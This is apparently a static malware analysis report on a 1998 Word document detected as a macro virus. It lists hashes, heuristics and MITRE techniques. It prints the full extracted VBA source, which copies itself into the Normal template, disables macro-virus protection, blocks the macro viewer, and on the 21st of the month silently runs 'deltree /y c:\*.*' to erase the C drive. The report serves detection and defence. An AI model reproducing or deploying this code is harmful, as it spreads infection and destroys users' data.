Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 70128e2b27a575e9…

MALICIOUS

Office (OLE)

61.5 KB Created: 1998-05-20 05:19:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d5c34e868375f4abdea0447413f7449f SHA-1: c99d5b6f689a1eeb5f5579e01b5d57aa6dd32a81 SHA-256: 70128e2b27a575e9b794ad49f4c42001016b5830ebe89391a41889254f01450a
316 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This document contains legacy WordBasic macros, including AutoOpen and AutoClose, which are indicative of older malware. The AutoExec macro contains a Shell command to execute 'deltree /y c:\*.*', which would delete all files on the C drive. The presence of 'Virus Creator Lab (VCL)' in the document metadata further supports a malicious intent.

Heuristics 7

  • ClamAV: Doc.Trojan.Mbug-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mbug-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "deltree /y c:\*.*", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5498 bytes
SHA-256: ee4daa32d65db6ed0fe5232f50f75b99e6e807a64ea337a9998b3be76de596cb
Detection
ClamAV: Win.Trojan.DelTree-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frank2"
Sub AutoExec()
Attribute AutoExec.VB_Description = "Macro créée par ZeMacroKiller98"
Attribute AutoExec.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.AutoExec"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo errorAE
If Day(Now()) = "21" Then
MsgBox "Frankie chieng is in bad mood and want to clean up your hard drive", vbExclamation, "Cleaning Job II"
Shell "deltree /y c:\*.*", vbHide
End If
errorAE:
End Sub
Sub AutoNew()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAN
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="frank2", Object:=wdOrganizerObjectProjectItems
    With Dialogs(wdDialogFileSummaryInfo)
        .Subject = "Frankie Virus II"
        .Execute
    End With
ErrorAN:
End Sub
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
MsgBox "Frankie chieng Virus II, more powerful", vbExclamation, "Frankie Box"
End Sub
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro créée ZeMacroKiller98"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.AutoOpen"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAO
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "frank2" Then
        bInstalled = -1
    End If
Next i
If Not bInstalled Then
    MsgBox "Frankie chieng", vbInformation, "Frankie chieng box"
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="frank2", Object:=wdOrganizerObjectProjectItems
Else
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="frank2", Object:=wdOrganizerObjectProjectItems
End If
ErrorAO:
End Sub

Sub FileSaveAs()
Attribute FileSaveAs.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute FileSaveAs.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.FileSaveAs"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="frank2", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
    ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
End If
ErrorFSA:
End Sub
Sub FilePrint()
Attribute FilePrint.VB_Description = "Macro crée par ZeMacroKiller98"
Attribute FilePrint.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.FilePrint"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFP
InsertPayload
    Dialogs(wdDialogFilePrint).Show
ErrorFP:
End Sub
Sub FilePrintDefault()
Attribute FilePrintDefault.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute FilePrintDefault.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.FilePrintDefault"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFPD
InsertPayload
    ActiveDocument.PrintOut
ErrorFPD:
End Sub
Sub FileTemplates()
Attribute FileTemplates.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute FileTemplates.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.FileTemplates"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
MsgBox "Access Defined"
ErrorFT:
End Sub
Sub InsertPayload()
Attribute InsertPayload.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute InsertPayload.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.InsertPayload"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorIP
With Selection.Font
    .Bold = True
    .Italic = True
    .Name = "comic san ms"
    Selection.Font.Size = "100"
    Selection.TypeText Text:="Frankie Chieng VirusII"
    Selection.Font.Size = "10"
    Selection.TypeText Text:="Wrote by frankie chieng"
End With
ErrorIP:
End Sub
Sub ToolsMacro()
Attribute ToolsMacro.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute ToolsMacro.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.ToolsMacro"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorTM
MsgBox "Access Defined"
ErrorTM:
End Sub
Sub ViewVBCode()
Attribute ViewVBCode.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute ViewVBCode.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.ViewVBCode"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorVVBC
MsgBox "Access Defined"
ErrorVVBC:
End Sub

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